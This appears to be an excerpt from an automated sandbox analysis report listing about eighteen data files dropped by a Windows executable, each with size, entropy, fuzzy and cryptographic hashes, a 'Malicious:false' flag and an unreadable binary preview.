                                                                                                                                                                                                                                        Preview:............h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.(...|.....}.@.....H.....M.....U.....].....e.....l.....s.....z.....{.....|...........................................................$....._.....x.....z.....~.....................................................7.....E.....R.....f.....v.....|...........................................................".....,.....2.....Q.....j.................................................................&.....3.....H.....N.....V...............................................!.....-.....>.....O.....R.....`.....r.............................................................................9.............................,.....?.....h.....w...........................................................5.....X............................................. .....".....%.....(.3...*.S...+.V...,.t........./.....0.....1.....3.....4.....5.6...6.p...7.....8.....9.....;.....<.....=.....>.....?.#...@.B...A.z...C.....D.....E...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):438088
                                                                                                                                                                                                                                        Entropy (8bit):5.195613019166525
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:2zHaVyEDQV5aZrU+5xeuhGjZ3ZmA58Pm+7JATvy8:2zNMdU4XA5Imb
                                                                                                                                                                                                                                        MD5:3165351C55E3408EAA7B661FA9DC8924
                                                                                                                                                                                                                                        SHA1:181BEE2A96D2F43D740B865F7E39A1BA06E2CA2B
                                                                                                                                                                                                                                        SHA-256:2630A9D5912C8EF023154C6A6FB5C56FAF610E1E960AF66ABEF533AF19B90CAA
                                                                                                                                                                                                                                        SHA-512:3B1944EA3CFCBE98D4CE390EA3A8FF1F6730EB8054E282869308EFE91A9DDCD118290568C1FC83BD80E8951C4E70A451E984C27B400F2BDE8053EA25B9620655
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..........].h.....i.....j.....k.....l.....n.....o.....p.&...r.,...s.=...t.F...v.[...w.h...y.n...z.}...|.....}...........................................................................................5.....<.....E.....d.....l.....y...................................................../.....E.....O.....^.....................................................".....8.......................................................................%.....J.....d.....~.................................................................+.....h.....q.....}...................................&.....4.....I.....o.....r................................................................. .....*.....5.....>.....O.................(.....0.................................................................,.....R.....l.............................6.....=.....H.....Y............... .....".....%.....(.....*.....+.....,.*.....B.../.W...0.`...1.....3.....4.....5.....6.....7.3...8.O...9.d...;.}...<.....=.....>.....?.....@.....A...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):454982
                                                                                                                                                                                                                                        Entropy (8bit):5.385096169417585
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:07bju28t6QuagV1ZztzYpZ4MYnYM/LDBW5Mx0q20wCbKZL3wfzkCh1f/5FEs6rYr:6JVzbf55Z
                                                                                                                                                                                                                                        MD5:0BF28AFF31E8887E27C4CD96D3069816
                                                                                                                                                                                                                                        SHA1:B5313CF6B5FBCE7E97E32727A3FAE58B0F2F5E97
                                                                                                                                                                                                                                        SHA-256:2E1D413442DEF9CAE2D93612E3FD04F3AFAF3DD61E4ED7F86400D320AF5500C2
                                                                                                                                                                                                                                        SHA-512:95172B3B1153B31FCEB4B53681635A881457723CD1000562463D2F24712267B209B3588C085B89C985476C82D9C27319CB6378619889379DA4FAE1595CB11992
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........>...h.....i.....j.....k.....l.....n.....o."...p./...r.5...s.F...t.O...v.d...w.q...y.w...z.....|.....}...........................................................................................1.....<.....E.....g.....s.....{.....................................................+.....<.....I.....W..............................................."...........j.......................................................................,.....M.....p.......................................................................T.....b.....l.........................................+.....:.....R.....U.....l...................................................................................[.......................$.....9.....N.................................................................X.........................................$.....E.....O... .[...".t...%.....(.....*.....+.....,.........../.#...0.1...1.n...3.....4.....5.....6.....7.....8.4...9.J...;.]...<.k...=.}...>.....?.....@.....A.....C.(...D.:.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):879149
                                                                                                                                                                                                                                        Entropy (8bit):4.32399215971305
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:Xz2UMY57hmdUoITsKMaWZKerbtsMhmksd4M+0+z20QmuOAl5VpvoxWnhygfZw/gQ:D2UMY57h9w4MSbsp5cLhdKE8
                                                                                                                                                                                                                                        MD5:7B5F52F72D3A93F76337D5CF3168EBD1
                                                                                                                                                                                                                                        SHA1:00D444B5A7F73F566E98ABADF867E6BB27433091
                                                                                                                                                                                                                                        SHA-256:798EA5D88A57D1D78FA518BF35C5098CBEB1453D2CB02EF98CD26CF85D927707
                                                                                                                                                                                                                                        SHA-512:10C6F4FAAB8CCB930228C1D9302472D0752BE19AF068EC5917249675B40F22AB24C3E29EC3264062826113B966C401046CFF70D91E7E05D8AADCC0B4E07FEC9B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........N...h.....i.....j.$...k.3...l.>...n.F...o.K...p.X...r.^...s.o...t.x...v.....w.....y.....z.....|.....}.............................................................................................................T.....l.................'.....).....5.....].......................4.....S.....i.............................l.................................................................'.....k.....t.....w.............................a.................;.....[.....n.....v.....}.......................+.....:.....f.......................X.....y...........].....s...................................6.....X.....w...............................................-.....L.....c....................... .....B.................Q.............................3.....?.....K.....}...................................o.............................3.....[... .a...".....%.....(.....*.g...+.j...,.........../.....0.....1.~...3.....4.....5.....6.[...7.....8.....9.....;.Q...<.h...=.....>.....?.....@.....A.D...C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):544193
                                                                                                                                                                                                                                        Entropy (8bit):4.6265566170608325
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:DczykRrlOUmTU2/S9iyBZ60DAf1X2VeQCap4M52QoLpMzu5flmd9DnwWHQgZ:+F55VoQ
                                                                                                                                                                                                                                        MD5:6D787DC113ADFB6A539674AF7D6195DB
                                                                                                                                                                                                                                        SHA1:F966461049D54C61CDD1E48EF1EA0D3330177768
                                                                                                                                                                                                                                        SHA-256:A976FAD1CC4EB29709018C5FFCC310793A7CEB2E69C806454717CCAE9CBC4D21
                                                                                                                                                                                                                                        SHA-512:6748DAD2813FC544B50DDEA0481B5ACE3EB5055FB2D985CA357403D3B799618D051051B560C4151492928D6D40FCE9BB33B167217C020BDCC3ED4CAE58F6B676
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........)...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.%...v.:...w.G...y.M...z.\...|.b...}.t.....|.............................................................................2.....K.....^.....w.....................................................4.....O.....f.....y.............................%.....:....._.....r.....z...................................9.....A.....K.....g...............................................C.....m............................................... .....<.....d.....n...................................2.....}...................................!.....$.....7.....N.....a.....y................................................................._.........../.....9.............................".....:.....@.....L.....].....e.............................$....._............................................. .1...".L...%.}...(.....*.....+.....,.........../.....0.....1.W...3.l...4.....5.....6.....7.....8.1...9.E...;.Z...<.t...=.....>.....?.....@.....A.B...C.u.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):921748
                                                                                                                                                                                                                                        Entropy (8bit):4.3093889077968495
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:zGFGsUtYgPLdROwJgdkFSvf4QAEm5dmGhsYK/GR3TX4/NMdpqdYnLsuFQdXPtg8y:zGEAgT/Zu5J57JtK
                                                                                                                                                                                                                                        MD5:1766A05BE4DC634B3321B5B8A142C671
                                                                                                                                                                                                                                        SHA1:B959BCADC3724AE28B5FE141F3B497F51D1E28CF
                                                                                                                                                                                                                                        SHA-256:0EEE8E751B5B0AF1E226106BEB09477634F9F80774FF30894C0F5A12B925AC35
                                                                                                                                                                                                                                        SHA-512:FAEC1D6166133674A56B5E38A68F9E235155CC910B5CCEB3985981B123CC29EDA4CD60B9313AB787EC0A8F73BF715299D9BF068E4D52B766A7AB8808BD146A39
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........"...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.,...w.9...y.?...z.N...|.T...}.f.....n.....s.....{.....................................................6.....X.....}.............................&.....@...................................%.....S.....y.......................&.............................Z.....j.....................................................2.....n.....w.....z.......................A.................).....o..............................................._.....n.................7.....T...............................................$.....n.....q............................./.....b.....i.....l.....n.........................................R...................................Z.....z...................................5.................q.................\...................................0... .K...".k...%.....(.....*.2...+.5...,.S........./.....0.....1.p...3.....4.....5.....6._...7.....8.....9.....;.^...<.r...=.....>.....?.....@.....A.;...C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):423481
                                                                                                                                                                                                                                        Entropy (8bit):5.516218200944141
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:yL0fCmEZW/FhjNmvgVRTKBOS+/6ocIG0uPXuyAF6WI6DkYAiKbeM/ogQbn7xjemW:QYCmNLjN3pV5v5tE77ORS
                                                                                                                                                                                                                                        MD5:8F9498D18D90477AD24EA01A97370B08
                                                                                                                                                                                                                                        SHA1:3868791B549FC7369AB90CD27684F129EBD628BE
                                                                                                                                                                                                                                        SHA-256:846943F77A425F3885689DCF12D62951C5B7646E68EADC533B8B5C2A1373F02E
                                                                                                                                                                                                                                        SHA-512:3C66A84592DEBE522F26C48B55C04198AD8A16C0DCFA05816825656C76C1C6CCCF5767B009F20ECB77D5A589EE44B0A0011EC197FEC720168A6C72C71EBF77FD
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........h...h.2...i.C...j.O...k.^...l.i...n.q...o.v...p.....r.....s.....t.....v.....w.....y.....z.....|.....}...........................................%.....,.....-...........0.....Y.....e.....q.................................................................A.....T.....p.....x...........................................................".....*.....8.....G.....X.............................................................................%.....B.....c.......................................................................G.....U.....a.....w.............................................../.....2.....B.....S.....f.....|.................................................................(.....g.............................8.....l.....{.....................................................I.....h................................................... .....".0...%.U...(.r...*.....+.....,.........../.....0.....1.....3.)...4.F...5.d...6.....7.....8.....9.....;.....<.....=.....>.4...?.=...@.N...A.....C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):456789
                                                                                                                                                                                                                                        Entropy (8bit):5.643595706627357
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:SGAK2lkJ2gSSSfLOAYkky1MV5QgsZfGRAxY62R9PSam7EEOEeLvx5gR4RStG2r2/:pAKWkJ2gSsAkV5QgsiR4747vx5VL/
                                                                                                                                                                                                                                        MD5:F5E1CA8A14C75C6F62D4BFF34E27DDB5
                                                                                                                                                                                                                                        SHA1:7ABA6BFF18BDC4C477DA603184D74F054805C78F
                                                                                                                                                                                                                                        SHA-256:C0043D9FA0B841DA00EC1672D60015804D882D4765A62B6483F2294C3C5B83E0
                                                                                                                                                                                                                                        SHA-512:1050F96F4F79F681B3EAF4012EC0E287C5067B75BA7A2CBE89D9B380C07698099B156A0EB2CBC5B8AA336D2DAA98E457B089935B534C4D6636987E7E7E32B169
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........6...h.....i.....j.....k.....l.....n.....o.....p.....r.#...s.4...t.=...v.R...w._...y.e...z.t...|.z...}.....................................................................................2.....G.....W.....q.....................................................9.....X.....d.....}...............................................0.....5.....;.....N.....^.....s.....................................................-.....G.....d.....z.......................#.....?.....H.....P.....W.....].....l...............................................(.....Q.....x...........................................................;.....`.....u.....|...............................................1.......................b.....w...........................................................K.....l.......................5.....L.....T....._.....w............... .....".....%.....(.....*.8...+.;...,.Y.....j.../.....0.....1.....3.....4.....5.....6.P...7.k...8.....9.....;.....<.....=.....>.....?.....@.....A.0...C.U...D.b.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):373937
                                                                                                                                                                                                                                        Entropy (8bit):5.37852966615304
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:Fl9jv1p49ahfjDVnjHFsRmP28Wvr5PdhpvtEDSVsEaOq:FlLpblVnjHFCm+8Sr5Pdhzq
                                                                                                                                                                                                                                        MD5:7B39423028DA71B4E776429BB4F27122
                                                                                                                                                                                                                                        SHA1:CB052AB5F734D7A74A160594B25F8A71669C38F2
                                                                                                                                                                                                                                        SHA-256:3D95C5819F57A0AD06A118A07E0B5D821032EDCF622DF9B10A09DA9AA974885F
                                                                                                                                                                                                                                        SHA-512:E40679B01AB14B6C8DFDCE588F3B47BCAFF55DBB1539B343F611B3FCBD1D0E7D8C347A2B928215A629F97E5F68D19C51AF775EC27C6F906CAC131BEAE646CE1A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........@...h.....i.....j.....k.....l.....n.!...o.&...p.3...r.9...s.J...t.S...v.h...w.u...y.{...z.....|.....}.................................................................................................5.....=.....T.....[.....e.......................................................................,.....J.....[.....h.............................................................................;.....?.....B.....G.....[.....j.....~.................................................................*.....F.....L.....a.........................................6.....H.....Q.....\.....r.........................................................................................!.....'.....3.....a.........................................C.....M.....Y.....`.....h.....o.....v.........................................>.....Q.....V.....\.....i............... .....".....%.....(.....*.....+.....,.#.....3.../.B...0.F...1.z...3.....4.....5.....6.....7.....8.....9.'...;.5...<.>...=.K...>.`...?.h...@.y...A...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):414412
                                                                                                                                                                                                                                        Entropy (8bit):5.287149423624235
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:8cPuDjrpxctogSrqRrhsO11RT9TeexAGTL6+q2WKLV9fLwY+25OM388HrmwGWNBI:8cmDZREZJy8KL1LjAS5ZzoC
                                                                                                                                                                                                                                        MD5:D58A43068BF847C7CD6284742C2F7823
                                                                                                                                                                                                                                        SHA1:497389765143FAC48AF2BD7F9A309BFE65F59ED9
                                                                                                                                                                                                                                        SHA-256:265D8B1BC479AD64FA7A41424C446139205AF8029A2469D558813EDD10727F9C
                                                                                                                                                                                                                                        SHA-512:547A1581DDA28C5C1A0231C736070D8A7B53A085A0CE643A4A1510C63A2D4670FF2632E9823CD25AE2C7CDC87FA65883E0A193853890D4415B38056CB730AB54
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........S...h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...r._...s.p...t.y...v.....w.....y.....z.....|.....}.........................................................................1.....D.....S.....l.....w.................................................................?.....F.....V.....d.....p.....}...............................................!.....7.....k.............................................................................O.....t.......................................................................>.....L.....Y.....v...........................................................3.....H.....[.....s.................................................................*.....u.............................,.....R.....Z.....n.....w...............................................3.....N............................................. .....".....%.....(.(...*.D...+.G...,.e.....v.../.....0.....1.....3.....4.....5.....6.}...7.....8.....9.....;.....<.....=.....>.....?.....@./...A.]...C.....D...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):505292
                                                                                                                                                                                                                                        Entropy (8bit):5.701779406023226
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:rO2YZ2QUgbjicTver049pUVOT6z4Z72hA/Na4oQPkwaIAOenOIUNH7bbeCcX5RWX:rOpZ2eH/IzSVKo4Z728owPS58HRxVX
                                                                                                                                                                                                                                        MD5:D10D536BCD183030BA07FF5C61BF5E3A
                                                                                                                                                                                                                                        SHA1:44DD78DBA9F098AC61222EB9647D111AD1608960
                                                                                                                                                                                                                                        SHA-256:2A3D3ABC9F80BAD52BD6DA5769901E7B9E9F052B6A58A7CC95CE16C86A3AA85A
                                                                                                                                                                                                                                        SHA-512:C67AEDE9DED1100093253E350D6137AB8B2A852BD84B6C82BA1853F792E053CECD0EA0519319498AED5759BEDC66D75516A4F2F7A07696A0CEF24D5F34EF9DD2
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..........y.h.....i.....j.....k.....l.....m.....o.....p.....v.....w.....y.....z.....|.....}.0.....8.....=.....E.....P.....X.....g.....l.....t.....{...............................................$.....*.....<.....d.....y...................................).....S.....t...............................................'.....H.....c.....i.....x.............................5.....;.....M.....k...............................................E.....u.....................................................+.....R.....^.............................Q.....~...............................................#.....8.....d...........................................................V...........,.....2...................................5.....>.....J.....P.....Y.....t.............................8............................................. .....".....%.I...(.....*.....+.....,.........../.....0.#...1.h...3.....4.....5.....6.....7.4...8.R...9.p...;.....<.....=.....>.....?.....@.....A.E...C.l...D.....E.....F.....G...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1012272
                                                                                                                                                                                                                                        Entropy (8bit):4.2289205973296395
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:VxaK34cS7yFcH4dr/4g7M5iVUZ+xw+UFV:jf7/K5uUb
                                                                                                                                                                                                                                        MD5:C548A5F1FB5753408E44F3F011588594
                                                                                                                                                                                                                                        SHA1:E064AB403972036DAD1B35ABE9794E95DBE4CC00
                                                                                                                                                                                                                                        SHA-256:890F50A57B862F482D367713201E1E559AC778FC3A36322D1DFBBEF2535DD9CB
                                                                                                                                                                                                                                        SHA-512:6975E4BB1A90E0906CF6266F79DA6CC4AE32F72A6141943BCFCF9B33F791E9751A9AAFDE9CA537F33F6BA8E4D697125FBC2EC4FFD3BC35851F406567DAE7E631
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........m...h.<...i.M...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....=.................=.....}......................./.....A.............................:.......................&.....d.................-.....U.................6.....N.....j.................L.............................4.....C.....F.....d.................4.................e.........................................P.....o...............................................J...........,.....H.....v.................(.....+.....e.......................G.....................................................(...........V...................................H.....`.....................................................c.................e.......................0.....k......... .....".....%._...(.....*.....+.....,.......4.../.l...0.....1.....3.7...4.....5.....6.U...7.....8.....9.....;.O...<.l...=.....>.....?.....@.....A.....C.....D...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):425545
                                                                                                                                                                                                                                        Entropy (8bit):6.081959799252044
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:4Y3l9B6CI1zt8OhrJRFJCqM5T718I8Mtmq7hUoBAA:aZJo5D8GAA
                                                                                                                                                                                                                                        MD5:B4FBFF56E4974A7283D564C6FC0365BE
                                                                                                                                                                                                                                        SHA1:DE68BD097DEF66D63D5FF04046F3357B7B0E23AC
                                                                                                                                                                                                                                        SHA-256:8C9ACDE13EDCD40D5B6EB38AD179CC27AA3677252A9CD47990EBA38AD42833E5
                                                                                                                                                                                                                                        SHA-512:0698AA058561BB5A8FE565BB0BEC21548E246DBB9D38F6010E9B0AD9DE0F59BCE9E98841033AD3122A163DD321EE4B11ED191277CDCB8E0B455D725593A88AA5
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:............h.z...i.....j.....k.....l.....m.....o.....p.....r.....s.....t.....y.....z.....|.....}.......$.....).....1.....<.....D.....S.....X....._.....f.....h.....m...........................................................e.....u.....w.....{...............................................'.....F.....S.....f.....z...............................................$.....*.....3.....F.....Y....._.....b.....h.........................................8.....O.....U.....].....d.....m.....z................................... .....-.....W.....t.........................................,...../.....<.....L.....Y.....r.....................................................".......................s.................................................................=.....T...................................!.....'.....=.....O.....\... ._...".i...%.....(.....*.....+.....,.+.....A.../.^...0.j...1.....3.....4.....5.....6.=...7.S...8.j...9.z...;.....<.....=.....>.....?.....@.....A.....C.6...D.F...E.g...F.~...G...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):457220
                                                                                                                                                                                                                                        Entropy (8bit):5.634955727013476
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:Ca5OlSk7unX4nkokvgneIVUoCb1DD7U5R3zv9dFaL8tx9e2lJ2I96S2:Ca5Olrpgme2UoC9c59zv9fx9eoP6S2
                                                                                                                                                                                                                                        MD5:980C27FD74CC3560B296FE8E7C77D51F
                                                                                                                                                                                                                                        SHA1:F581EFA1B15261F654588E53E709A2692D8BB8A3
                                                                                                                                                                                                                                        SHA-256:41E0F3619CDA3B00ABBBF07B9CD64EC7E4785ED4C8A784C928E582C3B6B8B7DB
                                                                                                                                                                                                                                        SHA-512:51196F6F633667E849EF20532D57EC81C5F63BAB46555CEA8FAB2963A078ACDFA84843EDED85C3B30F49EF3CEB8BE9E4EF8237E214EF9ECFF6373A84D395B407
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........U...h.....i.....j.)...k.8...l.C...n.K...o.P...p.]...r.c...s.t...t.}...v.....w.....y.....z.....|.....}.........................................................................8.....F.....S.....g.....r.....................................................5.....T.....m.....v...............................................!.....6.....=.....F.....S.....a.....u.....................................................&.....<.....Z.....w.............................5.....>.....F.....M.....X.....j.....................................................-.....T.....m.....{.................................................................H.....O.....R.....S.....].....h.....o.....y.................).....x.............................G.....X.....v...............................................B.....d...............................................)... .>...".N...%.m...(.....*.....+.....,.........../.!...0.$...1.U...3.f...4.....5.....6.....7. ...8.@...9.T...;.b...<.s...=.....>.....?.....@.....A.....C.:.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):455871
                                                                                                                                                                                                                                        Entropy (8bit):5.635474464056208
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:GOQDGtu4e+D8NHtVFHTPq7K4vHo4q3sb3755ZanXDEG9Aarl4zxmEA5QXls14:GOQUZ2Gu4vTqw75KEGGmEs14
                                                                                                                                                                                                                                        MD5:E4F7D9E385CB525E762ECE1AA243E818
                                                                                                                                                                                                                                        SHA1:689D784379BAC189742B74CD8700C687FEEEDED1
                                                                                                                                                                                                                                        SHA-256:523D141E59095DA71A41C14AEC8FE9EE667AE4B868E0477A46DD18A80B2007EF
                                                                                                                                                                                                                                        SHA-512:E4796134048CD12056D746F6B8F76D9EA743C61FEE5993167F607959F11FD3B496429C3E61ED5464551FD1931DE4878AB06F23A3788EE34BB56F53DB25BCB6DF
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........e...h.,...i.=...j.I...k.X...l.c...n.k...o.p...p.}...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................&.....'.....(.....*.....O.....b.....u.....................................................!.....%.....M.....].....s.....z...............................................!.....2.....8.....>.....Q.....e.....{...........................................................%.....7.....I.....g.....}...........................................................3.....7.....P.........................................+.....<.....O.....d.....v...........................................................".....#.....-.....8.....@.....G.....Y.................-.....8...................................%.....,.....;.....>.....I....._.............................#.....T.....i.....p.....y..................... .....".....%.....(.....*.....+.1...,.O.....r.../.....0.....1.....3.....4.....5.!...6.\...7.|...8.....9.....<.....=.....>.....?.....@.....A.9...C.X...D.e.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1056673
                                                                                                                                                                                                                                        Entropy (8bit):4.264965642462621
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:AYtrLnsoR47/R7nUwmoMmWDcZubSA/d+8di3ethK5d/7dxOt3ab:lt0oNwMi3eG5d/7Ot3c
                                                                                                                                                                                                                                        MD5:8B38C65FC30210C7AF9B6FA0424266F4
                                                                                                                                                                                                                                        SHA1:116413710FFCF94FBFA38CB97A47731E43A306F5
                                                                                                                                                                                                                                        SHA-256:E8DF9A74417C5839C531D7CCAB63884A80AFB731CC62CBBB3FD141779086AC7D
                                                                                                                                                                                                                                        SHA-512:0FD349C644AC1A2E7ED0247E40900D3A9957F5BEF1351B872710D02687C934A8E63D3A7585E91F7DF78054AEFF8F7ABD8C93A94FCD20C799779A64278BAB2097
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........j...h.6...i.G...j.S...k.b...l.m...n.u...o.z...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................".....).....0.....1.....2.....7.................".....b.....}.......................N...........3.....5.....9.....a.......................M.....{.................@.....n...........!.....e.............................'.......................C.....}.............................H.................=.................P.....~.........................................v.................I.....j.........................................b...................................q.......................b.....i.....l.....n.............................1...........q.....'.....E...........N...........(.....`...................................;.............................Y.....4.............................;.....k... .....".....%.n...(.....*.....+.....,.M........./.....0.....1.}...3.....4.....5.>...6.....7.....8.....9.....;.....<.8...=.X...>.....?.....@.....A.....C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):863911
                                                                                                                                                                                                                                        Entropy (8bit):4.295071040310227
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:OVDue+/Ti/eFcDX6WRAWXXspvidz0F5MU9G3GRe3RQR3K5/knxi4nou4bmHwIZus:eueAi2FZW2bo26lp70Kte5zGpGiBs
                                                                                                                                                                                                                                        MD5:C0EF1866167D926FB351E9F9BF13F067
                                                                                                                                                                                                                                        SHA1:6092D04EF3CE62BE44C29DA5D0D3A04985E2BC04
                                                                                                                                                                                                                                        SHA-256:88DF231CF2E506DB3453F90A797194662A5F85E23BBAC2ED3169D91A145D2091
                                                                                                                                                                                                                                        SHA-512:9E2B90F3AC1AE5744C22C2442FBCD86A8496AFC2C58F6CA060D6DBB08AF6F7411EF910A7C8CA5AEDEE99B5443D4DFF709C7935E8322CB32F8B071EE59CAEE733
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........(...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.#...t.,...v.A...w.N...y.T...z.c...|.i...}.{.......................................................................9.....[.....}...................................!...................................).....\.............................?.......................&.....E.....a.....w.......................[...............................................4.....^.......................L...................................&.....2.....U.....n.......................i.....................................................;.....X.........................................:.....m.....t.....w.....y.........................................7...................................-.....F.....f.....o.............................".....v.................O.............................?.....t......... .....".....%.,...(.b...*.....+.....,.........../.?...0.L...1.....3.....4.....5.P...6.....7.....8.:...9.b...;.....<.....=.....>.....?.....@.I...A.}...C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):390303
                                                                                                                                                                                                                                        Entropy (8bit):5.258177538585681
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:zCsFFfyrvxoQuXkulRopY/5BI8T5sHAVHMM/k3y:tQxoNlR6K5v5vVsMZ
                                                                                                                                                                                                                                        MD5:9B3E2F3C49897228D51A324AB625EB45
                                                                                                                                                                                                                                        SHA1:8F3DAEC46E9A99C3B33E3D0E56C03402CCC52B9D
                                                                                                                                                                                                                                        SHA-256:61A3DAAE72558662851B49175C402E9FE6FD1B279E7B9028E49506D9444855C5
                                                                                                                                                                                                                                        SHA-512:409681829A861CD4E53069D54C80315E0C8B97E5DB4CD74985D06238BE434A0F0C387392E3F80916164898AF247D17E8747C6538F08C0EF1C5E92A7D1B14F539
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........c...h.(...i.0...j.<...k.K...l.V...n.^...o.c...p.p...r.v...s.....t.....v.....w.....y.....z.....|.....}................................................................... .....J.....].....q.................................................................<.....R.....r.....{.......................................................................+.....;.....J.....y.............................................................................6.....S.....w.............................................................................:.....S....._.................................................................0.....I.....`.....s.....z.....}.....~.....................................................M.....T.................................................................2.....N.....f.....................................................,.....:... .=...".I...%.u...(.....*.....+.....,.........../.....0.....1.....3.;...4.Z...5.m...6.....7.....8.....9.....;.....<.....=.....>.:...?.B...@.W...A...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
